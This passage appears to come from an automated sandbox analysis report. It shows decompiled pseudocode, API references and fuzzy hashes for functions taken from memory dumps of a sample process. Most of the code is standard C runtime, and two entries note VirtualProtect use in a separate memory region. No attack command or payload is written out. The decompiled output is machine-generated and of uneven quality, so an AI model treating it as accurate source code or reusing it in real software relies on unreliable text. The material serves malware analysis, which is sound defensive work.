							_t19 = 0x800 + _t42;
							if(0x800 + _t42 < _t42) {
								L7:
								_t6 = _t42 + 0x10; // 0x10
								_t20 = _t6;
								if(_t6 < _t42) {
									goto L11;
								} else {
									_t17 = E0114B24D(_t25, _t25, _t20);
									if(_t17 == 0) {
										goto L11;
									} else {
										goto L9;
									}
								}
							} else {
								_t17 = E0114B24D(_t25, _t25, _t19);
								if(_t17 != 0) {
									L9:
									_t23 = _t17 + (_t37 >> 2) * 4;
									__imp__EncodePointer(_t17);
									 *0x116cc30 = _t17;
									goto L10;
								} else {
									goto L7;
								}
							}
						}
					}
				}
				return _t15;
			}

APIs

DecodePointer.KERNEL32(?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2,?,0114A723), ref: 011495DA
DecodePointer.KERNEL32(?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2,?,0114A723), ref: 011495E5
EncodePointer.KERNEL32(00000000,?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2), ref: 0114964C
EncodePointer.KERNEL32(?,?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2), ref: 0114965A
EncodePointer.KERNEL32(00000004,?,?,00000000,?,?,011495A4,?,011673F0,0000000C,0114968A,?,?,0114AF59,011502D2), ref: 01149666

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: Pointer$Encode$Decode
String ID:
API String ID: 1898114064-0
Opcode ID: ddfa390d1289033539678aa3bc6339bde54592f7731e37362fa67943dc8a7ec6
Instruction ID: bef0ea6b5a5f277ff1a077d975230c02816a8ae062f5987aeeae6138b083a1b7
Opcode Fuzzy Hash: ddfa390d1289033539678aa3bc6339bde54592f7731e37362fa67943dc8a7ec6
Instruction Fuzzy Hash: 8711B472500219AFDB2CAF74EC94C9E7BEEEB086983144576E51AC3119EB31ED44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 011502F2, Relevance: 7.6, APIs: 5, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E011502F2(void* __edx, void* __fp0) {
				int _v8;
				int _t4;
				int _t5;
				char* _t16;
				void* _t20;
				WCHAR* _t22;
				WCHAR* _t23;
				WCHAR* _t26;
				int _t29;
				void* _t39;

				_t39 = __fp0;
				_t20 = __edx;
				_push(GetEnvironmentStringsW());
				_pop(_t22);
				_t4 = 0;
				_t23 = _t22;
				if(_t23 != 0) {
					_t26 = _t23;
					if( *_t23 != 0) {
						goto L2;
						do {
							do {
								L2:
								_t26 =  &(_t26[1]);
							} while ( *_t26 != _t4);
							_t26 =  &(_t26[1]);
						} while ( *_t26 != _t4);
					}
					_t29 = (_t26 - _t23 >> 1) + 1;
					_t5 = WideCharToMultiByte(_t4, _t4, _t23, _t29, _t4, _t4, _t4, _t4);
					_v8 = _t5;
					if(_t5 == 0) {
						L9:
						FreeEnvironmentStringsW(_t23);
						_t4 = 0;
					} else {
						_push(_t5);
						_t16 = E0114B206(_t20, _t39);
						if(_t16 == 0) {
							goto L9;
						} else {
							if(WideCharToMultiByte(0, 0, _t23, _t29, _t16, _v8, 0, 0) == 0) {
								E01149EF7(_t16);
								_t16 = 0;
							}
							FreeEnvironmentStringsW(_t23);
							_t4 = _t16;
						}
					}
				}
				return _t4;
			}

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,0114A6F5), ref: 011502F7
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,00000000,?,?,?,?,0114A6F5), ref: 0115032B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,?,00000000,00000000,?,?,?,?,0114A6F5), ref: 01150351
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,0114A6F5), ref: 01150365
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,0114A6F5), ref: 01150370

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: bbda88af7da5549a7ecb348f8cd0e6c8fb5252e93dc78c43b0895f0e597f6971
Instruction ID: 3debab132b446561083d7f9e8a19893f3a32191f44c2b5efe73f7f7cbb0be71b
Opcode Fuzzy Hash: bbda88af7da5549a7ecb348f8cd0e6c8fb5252e93dc78c43b0895f0e597f6971
Instruction Fuzzy Hash: 9E01F9A2904316FFABB82AF86C8CC3BBEACDA862553044136FD25D2045EB208C4183B0

Uniqueness

Uniqueness Score: -1.00%

Function 0114AE8C, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 16%

			E0114AE8C(void* __ecx, intOrPtr _a4) {
				struct HINSTANCE__* _v8;
				intOrPtr* _t4;
				intOrPtr* _t5;

				_t4 =  &_v8;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t4, __ecx);
				_t5 = _t4;
				if(_t5 != 0) {
					_t5 = GetProcAddress(_v8, "CorExitProcess");
					if(_t5 != 0) {
						return  *_t5(_a4);
					}
				}
				return _t5;
			}

0x0114ae90
0x0114ae9b
0x0114aea1
0x0114aea3
0x0114aeb3
0x0114aeb5
0x00000000
0x0114aeba
0x0114aeb5
0x0114aebf

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00003DB9,?,?,0114AECB,011442F1,?,01150F31,000000FF,0000001E,01167758,00000008,01150E95,011442F1,?), ref: 0114AE9B
GetProcAddress.KERNEL32(00003DB9,CorExitProcess), ref: 0114AEAD

Strings

CorExitProcess, xrefs: 0114AEA5
mscoree.dll, xrefs: 0114AE94

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 80bd6119abb2a62e9c11565d66a6929c410dbd761c5d4da5452438bfc8b97f6c
Instruction ID: dd1a797b766b1a353b3921972c6d14ef390a27b1db35a027b4bb91ee77996d77
Opcode Fuzzy Hash: 80bd6119abb2a62e9c11565d66a6929c410dbd761c5d4da5452438bfc8b97f6c
Instruction Fuzzy Hash: CFD01230644209FBEB29AA95DC06F5B7FADAB44581F040065BA39E2051EB728A209760

Uniqueness

Uniqueness Score: -1.00%

Function 00E621A0, Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 00E621F9
SetLastError.KERNEL32(0000007E), ref: 00E6223B

Memory Dump Source

Source File: 00000001.00000002.467956669.0000000000E61000.00000020.00000001.sdmp, Offset: 00E61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e61000_ipsmsnap.jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: c2695d8597b68643e2d4bcb83773b9420c12d51ae2d7195a5c1b1a30b90a37cf
Instruction ID: 604879345dd62f1dbbd806038209acdbc9272731de4d19f5765e63793d09b072
Opcode Fuzzy Hash: c2695d8597b68643e2d4bcb83773b9420c12d51ae2d7195a5c1b1a30b90a37cf
Instruction Fuzzy Hash: 7381DA74A40609EFCB04CF94D894AAEB7B1FF48354F249198E909AB351C734EE85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 01150216, Relevance: 6.1, APIs: 4, Instructions: 54
timethreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E01150216() {
				signed int _t21;
				signed int _t29;
				signed int _t35;
				void* _t43;
				void* _t44;

				_t43 = _t44;
				 *(_t43 - 0xc) =  *(_t43 - 0xc) & 0x00000000;
				 *(_t43 - 8) =  *(_t43 - 8) & 0x00000000;
				_t21 =  *0x1169060; // 0xce125272
				if(_t21 == 0xbb40e64e || (0xffff0000 & _t21) == 0) {
					GetSystemTimeAsFileTime(_t43 - 0xc);
					 *(_t43 - 4) =  *(_t43 - 8) ^  *(_t43 - 0xc);
					 *(_t43 - 4) =  *(_t43 - 4) ^ GetCurrentThreadId();
					 *(_t43 - 4) =  *(_t43 - 4) ^ GetCurrentProcessId();
					QueryPerformanceCounter(_t43 - 0x14);
					_t29 = _t43 - 4;
					_t35 =  *(_t43 - 0x10) ^  *(_t43 - 0x14) ^  *(_t43 - 4) ^ _t29;
					if(_t35 != 0xbb40e64e) {
						if((0xffff0000 & _t35) == 0) {
							_t29 = (_t35 | 0x00004711) << 0x10;
							_t35 = _t35 | _t29;
						}
					} else {
						_t35 = 0xbb40e64f;
					}
					 *0x1169060 = _t35;
					 *0x1169064 =  !_t35;
				} else {
					_t29 =  !_t21;
					 *0x1169064 = _t29;
				}
				return _t29;
			}

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 0115024A
GetCurrentThreadId.KERNEL32 ref: 01150259
GetCurrentProcessId.KERNEL32 ref: 01150262
QueryPerformanceCounter.KERNEL32(?), ref: 0115026F

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a6ce525f0736a20c52abac2bfe9ee0deadd83617ddde6f6eeca1dff496509076
Instruction ID: 0f972bcc426f603b9e1abd36126f02434ce4768b6a75dd29a4caf5cb19792d90
Opcode Fuzzy Hash: a6ce525f0736a20c52abac2bfe9ee0deadd83617ddde6f6eeca1dff496509076
Instruction Fuzzy Hash: E8118F71D01208EFDF28CFF8D5486AEB7B8EB0C351F61446AE826D7244DB314640CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0114C399, Relevance: 6.0, APIs: 4, Instructions: 46
threadCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E0114C399(void* __ebx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t3;
				intOrPtr _t6;
				long _t14;
				long* _t27;
				long* _t28;

				E0114AFA8(_t3);
				if(E01150FAF() != 0) {
					_push(E0114C12A);
					_t6 = E0115037F();
					 *0x11695a0 = _t6;
					__eflags = _t6 - 0xffffffff;
					if(_t6 == 0xffffffff) {
						goto L1;
					} else {
						_push(0x3bc);
						_push(1);
						_t27 = E0114B1BE();
						_t28 = _t27;
						__eflags = _t28;
						if(_t28 == 0) {
							L6:
							E0114C40F();
							__eflags = 0;
							return 0;
						} else {
							__eflags = E011503DB( *0x11695a0, _t28);
							if(__eflags == 0) {
								goto L6;
							} else {
								_push(0);
								_push(_t28);
								E0114C2E6(__ebx, __edi, _t28, __eflags);
								_t14 = GetCurrentThreadId();
								_t28[1] = _t28[1] | 0xffffffff;
								 *_t28 = _t14;
								__eflags = 1;
								return 1;
							}
						}
					}
				} else {
					L1:
					E0114C40F();
					return 0;
				}
			}

APIs

__init_pointers.LIBCMT ref: 0114C399

Part of subcall function 0114AFA8: RtlEncodePointer.NTDLL(00000000,?,0114C39E,0114A6BF,01167410,00000014), ref: 0114AFAB
Part of subcall function 0114AFA8: __initp_misc_winsig.LIBCMT ref: 0114AFC6
Part of subcall function 0114AFA8: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 01150495
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 011504A9
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 011504BC
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 011504CF
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 011504E2
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 011504F5
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 01150508
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0115051B
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 0115052E
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 01150541
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 01150554
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 01150567
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 0115057A
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 0115058D
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 011505A0
Part of subcall function 0114AFA8: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 011505B3

__mtterm.LIBCMT ref: 0114C3A7

Part of subcall function 0114C40F: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,0114C3AC,0114A6BF,01167410,00000014), ref: 01150EC9
Part of subcall function 0114C40F: DeleteCriticalSection.KERNEL32(01169B00,?,?,0114C3AC,0114A6BF,01167410,00000014), ref: 01150EF2

GetCurrentThreadId.KERNEL32 ref: 0114C3F5

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: AddressProc$CriticalDeleteSection$CurrentEncodeHandleModulePointerThread__init_pointers__initp_misc_winsig__mtterm
String ID:
API String ID: 4107606983-0
Opcode ID: 89d8f42d92fbf9416cd1b64b8a8679ec2fe14853ee93e9bc1d0d0cd2710cbb39
Instruction ID: 2044944b595764ac801b788ae68411a82194cdb6dfa75360ef9497bc94a02cf8
Opcode Fuzzy Hash: 89d8f42d92fbf9416cd1b64b8a8679ec2fe14853ee93e9bc1d0d0cd2710cbb39
Instruction Fuzzy Hash: 29F0F67255E313AFF37C3EBD7D0179B2A848B11E78B20422AF961D40D4FF52804282D8

Uniqueness

Uniqueness Score: -1.00%

Function 0115ADD2, Relevance: 6.0, APIs: 4, Instructions: 39
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 67%

			E0115ADD2(void* __ebx, void* __edi, intOrPtr* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t19;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t26;
				intOrPtr* _t27;
				void* _t32;

				_t26 = __edi;
				_t21 = __ebx;
				_t11 = E01152AFB();
				_t27 = _a4;
				_push(2);
				 *_t27 = _t11;
				_t12 = E0114B1BE();
				 *((intOrPtr*)(_t27 + 4)) = _t12;
				_t23 = 0x100;
				if(_t12 == 0) {
					_t13 = E01152AD2();
					 *(_t27 + 8) =  *(_t27 + 8) & 0x00000000;
					 *((intOrPtr*)(_t27 + 4)) = _t13;
				} else {
					_t19 = E01152AD2();
					_t3 = _t27 + 4; // 0x115ad21
					E01148C30( *_t3, _t19, 0x200);
					 *(_t27 + 8) = 1;
				}
				_t15 =  *((intOrPtr*)(E01152B21() + 4));
				 *((intOrPtr*)(_t27 + 0xc)) = _t15;
				_t16 = _t15;
				if(_t16 != 0) {
					_push(_t16);
					 *((intOrPtr*)(_t27 + 0xc)) = E0115C568(_t21, _t23, _t25, _t26, _t27, _t32);
				}
				_t17 = _t27;
				return _t17;
			}

APIs

____lc_codepage_func.LIBCMT ref: 0115ADD6
___pctype_func.LIBCMT ref: 0115ADFA
___pctype_func.LIBCMT ref: 0115AE14
____lc_locale_name_func.LIBCMT ref: 0115AE20

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ___pctype_func$____lc_codepage_func____lc_locale_name_func
String ID:
API String ID: 1815563632-0
Opcode ID: 104be6bcd140fc71e8a08fe8b67b66420dbaeb6c4b486a3a71433fed279b1a0b
Instruction ID: 08da8298b1e5cfc8a1b686c0ab63006250292fd1ee91fd1817c695357c179089
Opcode Fuzzy Hash: 104be6bcd140fc71e8a08fe8b67b66420dbaeb6c4b486a3a71433fed279b1a0b
Instruction Fuzzy Hash: F6F06272544712DFE768AFA4E805A567BD8DF20728F00C82ED9698BA81EB74E4408B94

Uniqueness

Uniqueness Score: -1.00%

Function 011452E0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E011452E0(void* __eflags, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				char _v52;
				signed int _t33;
				char _t37;
				void* _t51;
				void* _t69;
				void* _t70;

				_push(0xffffffff);
				_push(E0115E938);
				_push( *[fs:0x0]);
				_t33 =  *0x1169060; // 0xce125272
				_push(_t33 ^ _t71);
				 *[fs:0x0] =  &_v16;
				E0115AC4C(_t51,  &_v36, _t69, 0);
				_v8 = 0;
				_t37 =  *0x116aa60; // 0xea8758
				_v20 = _t37;
				_v32 = E01146220(0x116b8b4);
				_push(_v32);
				_v24 = E01146970(_a4);
				if(_v24 == 0) {
					__eflags = _v20;
					if(_v20 == 0) {
						__eflags = E01146830(_t51, _t69, _t70,  &_v20, _a4) - 0xffffffff;
						if(__eflags != 0) {
							_v24 = _v20;
							 *0x116aa60 = _v20;
							_v28 = _v20;
							 *((intOrPtr*)( *((intOrPtr*)( *_v28 + 4))))();
							_push(_v28);
							E0115B150(__eflags);
						} else {
							_push("bad cast");
							E01149FDC( &_v52);
							E0114A12A( &_v52, 0x1167380);
						}
					} else {
						_v24 = _v20;
					}
				}
				_v40 = _v24;
				_v8 = 0xffffffff;
				E0115ACA7( &_v36);
				 *[fs:0x0] = _v16;
				return _v40;
			}

0x011452e3
0x011452e5
0x011452f0
0x011452f4
0x011452fb
0x011452ff
0x0114530a
0x0114530f
0x01145316
0x0114531b
0x01145328
0x0114532e
0x01145337
0x0114533e
0x01145342
0x01145346
0x01145360
0x01145363
0x01145385
0x0114538b
0x01145394
0x011453a2
0x011453a7
0x011453a8
0x01145365
0x01145365
0x0114536d
0x0114537b
0x0114537b
0x01145348
0x0114534b
0x0114534b
0x01145346
0x011453b3
0x011453b6
0x011453c0
0x011453cb
0x011453d6

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0114530A

Part of subcall function 01146220: std::_Lockit::_Lockit.LIBCPMT ref: 01146236

Strings

bad cast, xrefs: 01145365

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: LockitLockit::_std::_
String ID: bad cast
API String ID: 3382485803-3145022300
Opcode ID: 30d262076f419274fa9885bddc6ce59ff80f3db6fc033fa0273a532c7f920e72
Instruction ID: 79680bbb1080d34ef17b943268a0462e90ec5262dffe46fe860d5de03617b2dd
Opcode Fuzzy Hash: 30d262076f419274fa9885bddc6ce59ff80f3db6fc033fa0273a532c7f920e72
Instruction Fuzzy Hash: 66314BB5D0420ADFCB0CDFA4D981AEEB7B5FF48714F104229E522A7390DB716A40CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00E62430, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 00E62468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 00E624B2

Strings

@, xrefs: 00E62453

Memory Dump Source

Source File: 00000001.00000002.467956669.0000000000E61000.00000020.00000001.sdmp, Offset: 00E61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e61000_ipsmsnap.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 19c8e8d4928b21b21050aff17d0305a2760c9d1efe0ed35aee544ba2efe76ed4
Instruction ID: 513ba0e19b29de53d8e273d926326b01f1d6c24f6cb169b5a837bc2a22a758fc
Opcode Fuzzy Hash: 19c8e8d4928b21b21050aff17d0305a2760c9d1efe0ed35aee544ba2efe76ed4
Instruction Fuzzy Hash: 3021E6B0E44208EFDB14CF94D880BADBBB5BF44344F209189DA25BB240CB74AE44DB51

Uniqueness

Uniqueness Score: -1.00%

Function 011412A0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E011412A0(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* __esp;
				signed int _t24;
				void* _t35;
				void* _t38;
				void* _t44;
				void* _t45;
				signed int _t46;

				_t45 = __esi;
				_t44 = __edi;
				_t38 = __ebx;
				_pop(_t46);
				_t24 =  *0x1169060; // 0xce125272
				 *(_t46 - 4) = _t24 ^ _t46;
				 *(_t46 - 0x30) = 0;
				 *((intOrPtr*)(_t46 - 0x2f)) = 0;
				 *((intOrPtr*)(_t46 - 0x2b)) = 0;
				 *((intOrPtr*)(_t46 - 0x27)) = 0;
				 *((intOrPtr*)(_t46 - 0x23)) = 0;
				 *((intOrPtr*)(_t46 - 0x1f)) = 0;
				 *((intOrPtr*)(_t46 - 0x1b)) = 0;
				 *((intOrPtr*)(_t46 - 0x17)) = 0;
				 *((intOrPtr*)(_t46 - 0x13)) = 0;
				 *((intOrPtr*)(_t46 - 0xf)) = 0;
				 *((intOrPtr*)(_t46 - 0xb)) = 0;
				 *(_t46 - 0x38) = E011493A0("http://schemas.microsoft.com/xps/2005/06") + 1;
				 *(_t46 - 0x34) = 0x80004005;
				_t39 = _t46 - 0x30;
				_t43 =  *(_t46 - 0x38);
				if(ExtEscape( *(_t46 + 8), 0x14, 0, 0,  *(_t46 - 0x38), _t46 - 0x30) >= 0) {
					if(E01149310(_t46 - 0x30, "http://schemas.microsoft.com/xps/2005/06") != 0) {
						 *(_t46 - 0x34) = 1;
					} else {
						 *(_t46 - 0x34) = 0;
					}
				} else {
					_push(GetLastError());
					 *(_t46 - 0x34) = E01141730(_t39);
				}
				_t35 = E0114942B(_t38,  *(_t46 - 4) ^ _t46, _t43, _t44, _t45);
				_push(_t46);
				return _t35;
			}

APIs

ExtEscape.GDI32(?,00000014,00000000,00000000,?,00000000), ref: 01141300
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,01141A43,00000000,?,00000100,Microsoft XPS Document Writer), ref: 0114130A

Strings

http://schemas.microsoft.com/xps/2005/06, xrefs: 011412D4, 0114131E

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.468363090.000000000116D000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_1140000_ipsmsnap.jbxd

Similarity

API ID: ErrorEscapeLast
String ID: http://schemas.microsoft.com/xps/2005/06
API String ID: 1355522046-742551586
Opcode ID: c2f98ccc64048b27949f1da9267ad2eedc9840ed2a419888d4acb73d227ccf36
Instruction ID: b03bdb8dcf5b7bd3430bd98ada8bd8d58befaecc4a7e46e9baae5df348d72764
Opcode Fuzzy Hash: c2f98ccc64048b27949f1da9267ad2eedc9840ed2a419888d4acb73d227ccf36
Instruction Fuzzy Hash: 3B2103B1E4120DEFDB48DFA8E945BEEBBF4AB18758F10002AE409E6240E7716640CB65

Uniqueness

Uniqueness Score: -1.00%

Function 011423D0, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E011423D0(intOrPtr __eax) {
				void* _t47;
				void* _t48;

				_t47 = _t48;
				 *((intOrPtr*)(_t47 - 8)) = 0;
				 *((intOrPtr*)(_t47 - 4)) = 0;
				__imp__#2(L"psf:PrintCapabilities/psf:Feature[substring-after(@name,\':\')=\'PageMediaSize\'][name(namespace::*[.=\'http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords\'])=substring-before(@name,\':\')]/psf:Option[substring-after(@name,\':\')=\'ISOA4\'][name(namespace::*[.=\'http://schemas.microsoft.com/windows/2003/08/printing/printschemakeywords\'])=substring-before(@name,\':\')]");
				 *((intOrPtr*)(_t47 - 0xc)) = __eax;
				if( *((intOrPtr*)(_t47 + 0x10)) == 0) {
					 *((intOrPtr*)( *((intOrPtr*)(_t47 + 0x10)))) = 0;
				}
				if( *((intOrPtr*)(_t47 - 0xc)) == 0) {
					 *((intOrPtr*)(_t47 - 8)) = 0x8007000e;
				}
				if( *((intOrPtr*)(_t47 - 8)) >= 0) {
					_push(_t47 - 4);
					_push( *((intOrPtr*)(_t47 - 0xc)));
					_push( *((intOrPtr*)(_t47 + 0xc)));
					_push( *((intOrPtr*)(_t47 + 8)));
					 *((intOrPtr*)(_t47 - 8)) = E01142230( *((intOrPtr*)(_t47 + 0xc)));
				}
				if( *((intOrPtr*)(_t47 - 8)) >= 0) {
					 *((intOrPtr*)(_t47 - 8)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t47 - 4)))) + 0x24))))( *((intOrPtr*)(_t47 - 4)),  *((intOrPtr*)(_t47 + 0x10)));
				}
				if( *((intOrPtr*)(_t47 - 0xc)) != 0) {
					__imp__#6( *((intOrPtr*)(_t47 - 0xc)));
				}
				if( *((intOrPtr*)(_t47 - 4)) != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t47 - 4)))) + 8))))( *((intOrPtr*)(_t47 - 4)));
				}
				return  *((intOrPtr*)(_t47 - 8));
			}

APIs

SysAllocString.OLEAUT32(psf:PrintCapabilities/psf:Feature[substring-after(@name,':')='PageMediaSize'][name(namespace::*[.='http://schemas.microsoft.com/wi), ref: 011423E9
SysFreeString.OLEAUT32(00000000), ref: 01142454

Strings

psf:PrintCapabilities/psf:Feature[substring-after(@name,':')='PageMediaSize'][name(namespace::*[.='http://schemas.microsoft.com/wi, xrefs: 011423E4

Memory Dump Source

Source File: 00000001.00000002.468255473.0000000001141000.00000020.00020000.sdmp, Offset: 01140000, based on PE: true

Associated: 00000001.00000002.468244212.0000000001140000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468321613.000000000115F000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.468348451.0000000001169000.00000004.00020000.sdmp Download File
